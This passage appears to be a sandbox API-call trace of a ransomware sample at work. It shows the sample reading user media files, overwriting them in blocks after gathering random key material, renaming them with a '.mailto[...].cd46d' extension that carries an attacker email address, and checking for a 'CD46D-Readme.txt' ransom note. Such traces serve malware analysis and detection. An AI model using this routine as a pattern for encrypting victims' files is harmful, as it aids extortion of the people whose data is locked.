[0155.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0155.507] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0155.507] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c080) returned 1 [0155.507] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0155.507] WriteFile (in: hFile=0x13dc, lpBuffer=0xd494048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x315fe0c, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesWritten=0x315fe0c*=0xc800, lpOverlapped=0x0) returned 1 [0155.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0155.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c5e850) returned 1 [0155.979] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x21) returned 0x8d8928 [0155.979] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.979] WriteFile (in: hFile=0x13dc, lpBuffer=0x8f67a8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x315fe8c, lpOverlapped=0x0 | out: lpBuffer=0x8f67a8*, lpNumberOfBytesWritten=0x315fe8c*=0x105, lpOverlapped=0x0) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0155.980] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0155.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9ad0 [0155.980] wcscpy (in: _Dest=0xd4b9ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" [0155.981] wcscat (in: _Dest=0xd4b9ad0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0155.981] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x315fe44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0155.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dd9d8 [0155.982] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 [0155.982] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5790) returned 1 [0155.982] NtQueryInformationFile (in: FileHandle=0x13dc, IoStatusBlock=0x315fe50, FileInformation=0x315fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x315fe50, FileInformation=0x315fe28) returned 0x0 [0155.982] NtSetInformationFile (FileHandle=0x13dc, IoStatusBlock=0x315fe50, FileInformation=0x315fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0155.983] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9ad0) returned 1 [0155.984] FlushFileBuffers (hFile=0x13dc) returned 1 [0155.985] CloseHandle (hObject=0x13dc) returned 1 [0155.985] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c519e0 [0155.985] wcscpy (in: _Dest=0x12c519e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0155.985] wcscat (in: _Dest=0x12c519e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" [0155.985] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46d-readme.txt")) returned 0x2020 [0155.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 [0155.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99df88) returned 1 Thread: id = 3755 os_tid = 0xebc [0155.511] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y1fny_hdjruwkvep.mp3")) returned 0x20 [0155.511] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3", dwFileAttributes=0x20) returned 1 [0155.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y1fny_hdjruwkvep.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x114c [0155.512] GetFileSizeEx (in: hFile=0x114c, lpFileSize=0x36ff914 | out: lpFileSize=0x36ff914*=69480) returned 1 [0155.512] SetFilePointerEx (in: hFile=0x114c, liDistanceToMove=0x10f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.512] ReadFile (in: hFile=0x114c, lpBuffer=0x36ff898, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36ff894, lpOverlapped=0x0 | out: lpBuffer=0x36ff898*, lpNumberOfBytesRead=0x36ff894*=0x4, lpOverlapped=0x0) returned 1 [0155.513] SetFilePointerEx (in: hFile=0x114c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0155.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2a8 [0155.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.513] NtQuerySystemTime (in: CurrentTime=0x36ff874 | out: CurrentTime=0x36ff874*=132174899301178000) returned 0x0 [0155.513] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x579566f5 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x1f36e0be [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x3066c233 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x73adfd80 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x293028f5 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x38e2a6de [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x5f3c4cad [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x1a9d1e84 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0xd6fbf09 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x247d3677 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x4cb6b46e [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x24924390 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x497c0385 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x5b6dd2a7 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x16dcb82 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x3c94a90a [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x37d5c7b [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x3c6e2b0d [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x15de6de4 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x38b74e82 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x37829e8b [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x1a42d443 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x2218bb4e [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x3d8c1d07 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x6535ed66 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x36fea03f [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x491d8698 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x4e9b889e [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x6e217e48 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x348594d7 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0xbdfb480 [0155.514] RtlRandomEx (in: Seed=0x36ff880 | out: Seed=0x36ff880) returned 0x51bb4627 [0155.527] SetFilePointerEx (in: hFile=0x114c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.527] ReadFile (in: hFile=0x114c, lpBuffer=0xd4a0850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x36ff854, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesRead=0x36ff854*=0xc800, lpOverlapped=0x0) returned 1 [0155.528] SetFilePointerEx (in: hFile=0x114c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.528] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d27d0 [0155.528] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c080 [0155.528] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0155.528] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0155.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd4ad058 [0155.530] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0155.530] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.530] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0155.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c080) returned 1 [0155.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0155.531] WriteFile (in: hFile=0x114c, lpBuffer=0xd4ad058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x36ff854, lpOverlapped=0x0 | out: lpBuffer=0xd4ad058*, lpNumberOfBytesWritten=0x36ff854*=0xc800, lpOverlapped=0x0) returned 1 [0155.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ad058) returned 1 [0155.960] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0155.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x35) returned 0x942170 [0155.961] SetFilePointerEx (in: hFile=0x114c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.961] WriteFile (in: hFile=0x114c, lpBuffer=0x8f6a60*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x36ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x8f6a60*, lpNumberOfBytesWritten=0x36ff8d4*=0x119, lpOverlapped=0x0) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a60) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9428b0) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x942170) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2a8) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0155.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0155.968] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xce) returned 0x8dd9d8 [0155.968] wcscpy (in: _Dest=0x8dd9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" [0155.968] wcscat (in: _Dest=0x8dd9d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0155.968] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x36ff88c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0155.968] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbf08 [0155.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbf08) returned 1 [0155.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3fd8) returned 1 [0155.969] NtQueryInformationFile (in: FileHandle=0x114c, IoStatusBlock=0x36ff898, FileInformation=0x36ff870, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36ff898, FileInformation=0x36ff870) returned 0x0 [0155.969] NtSetInformationFile (FileHandle=0x114c, IoStatusBlock=0x36ff898, FileInformation=0x36ff870, Length=0x28, FileInformationClass=0x4) returned 0x0 [0155.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 [0155.971] FlushFileBuffers (hFile=0x114c) returned 1 [0155.972] CloseHandle (hObject=0x114c) returned 1 [0155.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c519e0 [0155.973] wcscpy (in: _Dest=0x12c519e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0155.973] wcscat (in: _Dest=0x12c519e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" [0155.973] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46d-readme.txt")) returned 0x2020 [0155.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c519e0) returned 1 [0155.973] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6998) returned 1 Thread: id = 3756 os_tid = 0xec0 [0155.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y3yvwzzp-m2o.flv")) returned 0x20 [0155.531] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv", dwFileAttributes=0x20) returned 1 [0155.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y3yvwzzp-m2o.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1150 [0155.532] GetFileSizeEx (in: hFile=0x1150, lpFileSize=0x331fa18 | out: lpFileSize=0x331fa18*=28078) returned 1 [0155.532] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x6daa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.532] ReadFile (in: hFile=0x1150, lpBuffer=0x331f99c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x331f998, lpOverlapped=0x0 | out: lpBuffer=0x331f99c*, lpNumberOfBytesRead=0x331f998*=0x4, lpOverlapped=0x0) returned 1 [0155.533] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0155.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0155.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef60 [0155.533] NtQuerySystemTime (in: CurrentTime=0x331f978 | out: CurrentTime=0x331f978*=132174899301490000) returned 0x0 [0155.533] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x6a4ce1f0 [0155.533] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x53e995d6 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x11b7a06b [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x173fa1ab [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0xc6b11dc [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x7399182b [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x7ab00dfe [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x21446f7d [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0xab910f4 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x4270e97b [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x213c69c0 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x596b3088 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x6981cd5 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x2c25f53d [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x4ddf7ae9 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x1ce555 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x6554c173 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x65da43d [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x36dd6871 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x5dc14074 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x7df7dfc9 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x2e78f2f4 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x34d935ad [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x381506dd [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x33a1a7a8 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x4040f8d1 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x539c3b76 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x2ce97a44 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x5763cacb [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x73a66f04 [0155.534] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x7870a006 [0155.535] RtlRandomEx (in: Seed=0x331f984 | out: Seed=0x331f984) returned 0x1e5d5680 [0155.547] ReadFile (in: hFile=0x1150, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0x6dae, lpNumberOfBytesRead=0x331f974, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesRead=0x331f974*=0x6dae, lpOverlapped=0x0) returned 1 [0155.550] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.550] WriteFile (in: hFile=0x1150, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0x6dae, lpNumberOfBytesWritten=0x331f970, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x331f970*=0x6dae, lpOverlapped=0x0) returned 1 [0155.931] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945578 [0155.931] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457a8 [0155.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0155.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0155.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0155.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c080) returned 1 [0155.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0155.931] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2d) returned 0x8da7f8 [0155.931] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.931] WriteFile (in: hFile=0x1150, lpBuffer=0x904a90*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x331f9d8, lpOverlapped=0x0 | out: lpBuffer=0x904a90*, lpNumberOfBytesWritten=0x331f9d8*=0x111, lpOverlapped=0x0) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904a90) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0155.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0155.935] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc6) returned 0x938f28 [0155.935] wcscpy (in: _Dest=0x938f28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" [0155.935] wcscat (in: _Dest=0x938f28, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv.mailto[2Hamlampampom@cock.li].cd46d" [0155.935] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x331f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0155.935] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x8f6a60 [0155.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a60) returned 1 [0155.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a8d60) returned 1 [0155.941] NtQueryInformationFile (in: FileHandle=0x1150, 